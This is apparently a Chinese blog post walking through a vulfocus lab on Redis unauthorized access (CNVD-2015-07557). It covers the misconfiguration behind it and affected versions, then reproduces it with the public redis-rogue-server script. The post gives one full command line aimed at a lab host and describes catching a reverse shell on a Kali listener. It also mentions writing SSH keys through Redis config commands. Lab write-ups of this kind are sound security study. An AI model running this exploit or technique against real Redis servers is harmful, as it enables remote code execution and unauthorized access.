vulfocus漏洞学习——redis 未授权访问 (CNVD-2015-07557)

目录

一、漏洞介绍

二、影响版本

三、漏洞复现

1.使用脚本

四、漏洞原理


一、漏洞介绍

Redis 是一个免费开源的键值存储数据库,数据默认存到内存中,用简单的 C 语言编写,能通过网络访问。该漏洞的成因是:在默认情况下,Redis会绑定到 0.0.0.0:6379,这意味着Redis会直接暴露到公网上,而此时如果又没有设置密码认证,会导致任意用户在可以访问到目标服务器的情况下未授权访问Redis并读取Redis的数据,还可以利用Redis提供的命令将自己的ssh公钥写入目标服务器,从而导致可以直接进行ssh登录目标服务器。

二、影响版本

明确受影响版本 Redis<=5.0.5

但由于是配置不当导致的漏洞,所以高版本如果配置不当也可能导致

三、漏洞复现

1.使用脚本

使用github上一键利用的脚本:GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

复制代码
python3 redis-rogue-server.py --rhost 192.168.57.143 --rport 40585 --lhost 192.168.57.128 

这里选择反弹shell,用kali进行监听

成功得到flag

看到还有用写入ssh公钥的,但可能由于我们是docker环境,配置起来稍微要麻烦些,并且尝试了也没有成功。如果是直接部署在虚拟机中的应该会成功。

四、漏洞原理

(1)Redis 默认配置不启用密码认证,且默认监听0.0.0.0:6379,允许任意IP连接。所以我们可以直接通过redis-cli工具无密码连接到redis服务;

(2)同时,Redis提供config等敏感命令,攻击者可以通过这些命令写入恶意文件

相关推荐
Mr.Jessy5 小时前
JavaScript高级:构造函数与原型
开发语言·前端·javascript·学习·ecmascript
玄斎9 小时前
MySQL 单表操作通关指南:建库 / 建表 / 插入 / 增删改查
运维·服务器·数据库·学习·程序人生·mysql·oracle
im_AMBER11 小时前
Leetcode 78 识别数组中的最大异常值 | 镜像对之间最小绝对距离
笔记·学习·算法·leetcode
其美杰布-富贵-李11 小时前
HDF5文件学习笔记
数据结构·笔记·学习
d111111111d13 小时前
在STM32函数指针是什么,怎么使用还有典型应用场景。
笔记·stm32·单片机·嵌入式硬件·学习·算法
嗷嗷哦润橘_14 小时前
AI Agent学习:MetaGPT之我的工作
人工智能·学习·flask
知识分享小能手14 小时前
CentOS Stream 9入门学习教程,从入门到精通,Linux日志分析工具及应用 —语法详解与实战案例(17)
linux·学习·centos
2301_7833601315 小时前
【学习笔记】关于RNA_seq和Ribo_seq技术的对比和BAM生成
笔记·学习
qq_3977315115 小时前
Objective-C 学习笔记(第9章)
笔记·学习·objective-c
ujainu15 小时前
Python学习第一天:保留字和标识符
python·学习·标识符·保留字